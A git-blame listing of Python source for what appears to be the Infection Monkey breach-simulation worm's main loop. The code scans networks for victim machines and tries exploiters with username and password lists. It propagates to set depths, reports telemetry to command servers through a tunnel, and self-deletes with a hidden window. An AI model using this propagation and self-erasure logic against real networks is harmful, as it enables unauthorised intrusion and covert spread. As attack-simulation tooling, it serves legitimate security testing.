2017-10-03 20:47:50 +08:00
|
|
|
import argparse
|
|
|
|
import logging
|
2015-10-14 22:22:05 +08:00
|
|
|
import os
|
2017-10-03 20:47:50 +08:00
|
|
|
import subprocess
|
|
|
|
import sys
|
2015-08-30 15:27:35 +08:00
|
|
|
import time
|
2017-10-03 20:47:50 +08:00
|
|
|
|
2015-11-30 21:29:30 +08:00
|
|
|
import tunnel
|
2015-11-30 16:56:20 +08:00
|
|
|
from config import WormConfiguration
|
2017-10-03 20:47:50 +08:00
|
|
|
from control import ControlClient
|
2015-10-14 22:22:05 +08:00
|
|
|
from model import DELAY_DELETE_CMD
|
2017-10-03 20:47:50 +08:00
|
|
|
from network.firewall import app as firewall
|
|
|
|
from network.network_scanner import NetworkScanner
|
2015-11-30 21:29:30 +08:00
|
|
|
from system_info import SystemInfoCollector
|
2017-10-03 20:47:50 +08:00
|
|
|
from system_singleton import SystemSingleton
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
__author__ = 'itamar'
|
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
|
|
|
|
|
|
class ChaosMonkey(object):
|
|
|
|
def __init__(self, args):
|
|
|
|
self._keep_running = False
|
|
|
|
self._exploited_machines = set()
|
|
|
|
self._fail_exploitation_machines = set()
|
|
|
|
self._singleton = SystemSingleton()
|
2015-09-29 22:58:06 +08:00
|
|
|
self._parent = None
|
2015-10-14 22:22:05 +08:00
|
|
|
self._default_tunnel = None
|
2015-09-29 22:58:06 +08:00
|
|
|
self._args = args
|
2015-11-30 16:56:20 +08:00
|
|
|
self._network = None
|
|
|
|
self._dropper_path = None
|
|
|
|
self._exploiters = None
|
|
|
|
self._fingerprint = None
|
2015-12-06 15:50:36 +08:00
|
|
|
self._default_server = None
|
2015-12-08 01:08:15 +08:00
|
|
|
self._depth = 0
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
def initialize(self):
|
2015-11-30 20:11:19 +08:00
|
|
|
LOG.info("Monkey is initializing...")
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
if not self._singleton.try_lock():
|
|
|
|
raise Exception("Another instance of the monkey is already running")
|
|
|
|
|
2015-10-14 22:22:05 +08:00
|
|
|
arg_parser = argparse.ArgumentParser()
|
|
|
|
arg_parser.add_argument('-p', '--parent')
|
|
|
|
arg_parser.add_argument('-t', '--tunnel')
|
2015-12-06 15:50:36 +08:00
|
|
|
arg_parser.add_argument('-s', '--server')
|
2015-12-08 01:08:15 +08:00
|
|
|
arg_parser.add_argument('-d', '--depth')
|
2015-10-14 22:22:05 +08:00
|
|
|
opts, self._args = arg_parser.parse_known_args(self._args)
|
2016-07-04 15:44:57 +08:00
|
|
|
|
2015-10-14 22:22:05 +08:00
|
|
|
self._parent = opts.parent
|
|
|
|
self._default_tunnel = opts.tunnel
|
2015-12-06 15:50:36 +08:00
|
|
|
self._default_server = opts.server
|
2015-12-08 01:08:15 +08:00
|
|
|
if opts.depth:
|
2015-12-08 15:41:21 +08:00
|
|
|
WormConfiguration.depth = int(opts.depth)
|
2016-08-01 21:52:27 +08:00
|
|
|
WormConfiguration._depth_from_commandline = True
|
2015-08-30 15:27:35 +08:00
|
|
|
self._keep_running = True
|
2015-09-29 22:58:06 +08:00
|
|
|
self._network = NetworkScanner()
|
2015-08-30 15:27:35 +08:00
|
|
|
self._dropper_path = sys.argv[0]
|
|
|
|
|
2015-12-06 15:50:36 +08:00
|
|
|
if self._default_server:
|
|
|
|
if self._default_server not in WormConfiguration.command_servers:
|
|
|
|
LOG.debug("Added default server: %s" % self._default_server)
|
|
|
|
WormConfiguration.command_servers.insert(0, self._default_server)
|
|
|
|
else:
|
|
|
|
LOG.debug("Default server: %s is already in command servers list" % self._default_server)
|
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
def start(self):
|
2015-11-30 17:03:54 +08:00
|
|
|
LOG.info("Monkey is running...")
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
if firewall.is_enabled():
|
|
|
|
firewall.add_firewall_rule()
|
2015-10-14 22:22:05 +08:00
|
|
|
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
|
2016-07-04 15:44:57 +08:00
|
|
|
ControlClient.load_control_config()
|
|
|
|
|
|
|
|
if not WormConfiguration.alive:
|
|
|
|
LOG.info("Marked not alive from configuration")
|
|
|
|
return
|
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
monkey_tunnel = ControlClient.create_control_tunnel()
|
|
|
|
if monkey_tunnel:
|
|
|
|
monkey_tunnel.start()
|
|
|
|
|
2016-08-13 23:33:49 +08:00
|
|
|
last_exploit_time = None
|
|
|
|
|
2016-07-04 15:44:57 +08:00
|
|
|
ControlClient.send_telemetry("state", {'done': False})
|
|
|
|
|
2015-12-06 15:50:36 +08:00
|
|
|
self._default_server = WormConfiguration.current_server
|
|
|
|
LOG.debug("default server: %s" % self._default_server)
|
2017-09-13 21:25:29 +08:00
|
|
|
ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})
|
2015-12-06 15:50:36 +08:00
|
|
|
|
2015-11-30 21:29:30 +08:00
|
|
|
if WormConfiguration.collect_system_info:
|
|
|
|
LOG.debug("Calling system info collection")
|
|
|
|
system_info_collector = SystemInfoCollector()
|
|
|
|
system_info = system_info_collector.get_info()
|
|
|
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
|
|
|
|
2015-12-08 01:08:15 +08:00
|
|
|
if 0 == WormConfiguration.depth:
|
2015-12-08 15:58:06 +08:00
|
|
|
LOG.debug("Reached max depth, shutting down")
|
2016-07-20 05:53:41 +08:00
|
|
|
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
|
2015-12-08 01:08:15 +08:00
|
|
|
return
|
2015-12-08 15:58:06 +08:00
|
|
|
else:
|
|
|
|
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
2015-12-08 01:08:15 +08:00
|
|
|
|
2017-10-03 20:47:50 +08:00
|
|
|
for iteration_index in xrange(WormConfiguration.max_iterations):
|
2015-09-29 22:58:06 +08:00
|
|
|
ControlClient.keepalive()
|
|
|
|
ControlClient.load_control_config()
|
|
|
|
|
2017-08-16 20:14:26 +08:00
|
|
|
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
|
|
|
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
self._network.initialize()
|
|
|
|
|
|
|
|
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
|
|
|
|
|
|
|
|
if not self._keep_running or not WormConfiguration.alive:
|
2015-08-30 15:27:35 +08:00
|
|
|
break
|
|
|
|
|
|
|
|
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
|
2016-07-04 15:44:57 +08:00
|
|
|
max_find=WormConfiguration.victims_max_find,
|
|
|
|
stop_callback=ControlClient.check_for_stop)
|
2016-01-14 22:14:07 +08:00
|
|
|
is_empty = True
|
2015-08-30 15:27:35 +08:00
|
|
|
for machine in machines:
|
2016-07-04 15:44:57 +08:00
|
|
|
if ControlClient.check_for_stop():
|
|
|
|
break
|
|
|
|
|
2016-01-14 22:14:07 +08:00
|
|
|
is_empty = False
|
2015-09-29 22:58:06 +08:00
|
|
|
for finger in self._fingerprint:
|
2016-07-04 15:44:57 +08:00
|
|
|
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
2015-09-29 22:58:06 +08:00
|
|
|
machine, finger.__class__.__name__)
|
|
|
|
finger.get_host_fingerprint(machine)
|
|
|
|
|
|
|
|
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
|
2015-11-30 20:11:19 +08:00
|
|
|
'scanner': WormConfiguration.scanner_class.__name__})
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
# skip machines that we've already exploited
|
|
|
|
if machine in self._exploited_machines:
|
|
|
|
LOG.debug("Skipping %r - already exploited",
|
|
|
|
machine)
|
|
|
|
continue
|
|
|
|
elif machine in self._fail_exploitation_machines:
|
2015-10-14 22:22:05 +08:00
|
|
|
if WormConfiguration.retry_failed_explotation:
|
2015-11-30 16:56:20 +08:00
|
|
|
LOG.debug("%r - exploitation failed before, trying again", machine)
|
2015-10-14 22:22:05 +08:00
|
|
|
else:
|
2015-11-30 16:56:20 +08:00
|
|
|
LOG.debug("Skipping %r - exploitation failed before", machine)
|
2015-10-14 22:22:05 +08:00
|
|
|
continue
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-10-14 22:22:05 +08:00
|
|
|
if monkey_tunnel:
|
|
|
|
monkey_tunnel.set_tunnel_for_host(machine)
|
2015-12-06 15:50:36 +08:00
|
|
|
if self._default_server:
|
|
|
|
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
|
|
|
machine.set_default_server(self._default_server)
|
2015-10-14 22:22:05 +08:00
|
|
|
|
2016-08-20 22:58:59 +08:00
|
|
|
successful_exploiter = None
|
2015-08-30 15:27:35 +08:00
|
|
|
for exploiter in self._exploiters:
|
2015-09-29 22:58:06 +08:00
|
|
|
if not exploiter.is_os_supported(machine):
|
|
|
|
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
|
|
|
exploiter.__class__.__name__, machine)
|
|
|
|
continue
|
|
|
|
|
2015-11-30 20:11:19 +08:00
|
|
|
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
try:
|
2015-12-08 01:08:15 +08:00
|
|
|
if exploiter.exploit_host(machine, WormConfiguration.depth):
|
2015-08-30 15:27:35 +08:00
|
|
|
successful_exploiter = exploiter
|
|
|
|
break
|
|
|
|
else:
|
2015-11-30 20:11:19 +08:00
|
|
|
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
2016-07-24 06:04:42 +08:00
|
|
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
|
|
|
'exploiter': exploiter.__class__.__name__})
|
|
|
|
|
2017-09-28 21:14:30 +08:00
|
|
|
except Exception as exc:
|
2015-08-30 15:27:35 +08:00
|
|
|
LOG.error("Exception while attacking %s using %s: %s",
|
|
|
|
machine, exploiter.__class__.__name__, exc)
|
2017-09-28 21:14:30 +08:00
|
|
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
|
|
|
'exploiter': exploiter.__class__.__name__})
|
2015-08-30 15:27:35 +08:00
|
|
|
continue
|
|
|
|
|
|
|
|
if successful_exploiter:
|
|
|
|
self._exploited_machines.add(machine)
|
2016-08-13 23:33:49 +08:00
|
|
|
last_exploit_time = time.time()
|
2016-07-24 06:04:42 +08:00
|
|
|
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
|
2016-07-04 15:44:57 +08:00
|
|
|
'exploiter': successful_exploiter.__class__.__name__})
|
2015-08-30 15:27:35 +08:00
|
|
|
|
|
|
|
LOG.info("Successfully propagated to %s using %s",
|
|
|
|
machine, successful_exploiter.__class__.__name__)
|
|
|
|
|
|
|
|
# check if max-exploitation limit is reached
|
|
|
|
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
|
|
|
|
self._keep_running = False
|
|
|
|
|
|
|
|
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
|
|
|
break
|
|
|
|
else:
|
|
|
|
self._fail_exploitation_machines.add(machine)
|
|
|
|
|
2017-10-03 20:47:50 +08:00
|
|
|
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
|
|
|
|
time_to_sleep = WormConfiguration.timeout_between_iterations
|
|
|
|
LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
|
|
|
|
time.sleep(time_to_sleep)
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2015-10-14 22:22:05 +08:00
|
|
|
if self._keep_running and WormConfiguration.alive:
|
2015-08-30 15:27:35 +08:00
|
|
|
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
|
2015-10-14 22:22:05 +08:00
|
|
|
elif not WormConfiguration.alive:
|
|
|
|
LOG.info("Marked not alive from configuration")
|
2015-08-30 15:27:35 +08:00
|
|
|
|
2016-08-13 23:33:49 +08:00
|
|
|
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
|
|
|
|
# connect to the tunnel
|
2017-10-03 20:47:50 +08:00
|
|
|
if last_exploit_time and (time.time() - last_exploit_time < WormConfiguration.keep_tunnel_open_time):
|
|
|
|
time_to_sleep = WormConfiguration.keep_tunnel_open_time - (time.time() - last_exploit_time)
|
|
|
|
LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
|
|
|
|
time.sleep(time_to_sleep)
|
2016-08-13 23:33:49 +08:00
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
if monkey_tunnel:
|
|
|
|
monkey_tunnel.stop()
|
|
|
|
monkey_tunnel.join()
|
|
|
|
|
2015-08-30 15:27:35 +08:00
|
|
|
def cleanup(self):
|
2016-01-14 20:35:55 +08:00
|
|
|
LOG.info("Monkey cleanup started")
|
2015-08-30 15:27:35 +08:00
|
|
|
self._keep_running = False
|
|
|
|
|
2016-08-13 23:33:49 +08:00
|
|
|
# Signal the server (before closing the tunnel)
|
|
|
|
ControlClient.send_telemetry("state", {'done': True})
|
2015-10-08 18:39:52 +08:00
|
|
|
|
2016-08-13 23:33:49 +08:00
|
|
|
# Close tunnel
|
2015-10-08 18:39:52 +08:00
|
|
|
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
|
|
|
if tunnel_address:
|
|
|
|
LOG.info("Quitting tunnel %s", tunnel_address)
|
|
|
|
tunnel.quit_tunnel(tunnel_address)
|
|
|
|
|
|
|
|
firewall.close()
|
2015-10-14 22:22:05 +08:00
|
|
|
|
2016-08-13 23:33:49 +08:00
|
|
|
self._singleton.unlock()
|
|
|
|
|
2015-10-14 22:22:05 +08:00
|
|
|
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
|
|
|
|
try:
|
|
|
|
if "win32" == sys.platform:
|
|
|
|
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
|
|
|
startupinfo = subprocess.STARTUPINFO()
|
|
|
|
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
2016-07-04 15:44:57 +08:00
|
|
|
startupinfo.wShowWindow = SW_HIDE
|
2015-11-30 21:29:30 +08:00
|
|
|
subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
|
2016-07-04 15:44:57 +08:00
|
|
|
stdin=None, stdout=None, stderr=None,
|
2015-10-14 22:22:05 +08:00
|
|
|
close_fds=True, startupinfo=startupinfo)
|
|
|
|
else:
|
|
|
|
os.remove(sys.executable)
|
2017-10-03 20:47:50 +08:00
|
|
|
except Exception as exc:
|
2015-11-30 21:29:30 +08:00
|
|
|
LOG.error("Exception in self delete: %s", exc)
|
2016-01-14 20:35:55 +08:00
|
|
|
|
2016-08-20 22:58:59 +08:00
|
|
|
LOG.info("Monkey is shutting down")
|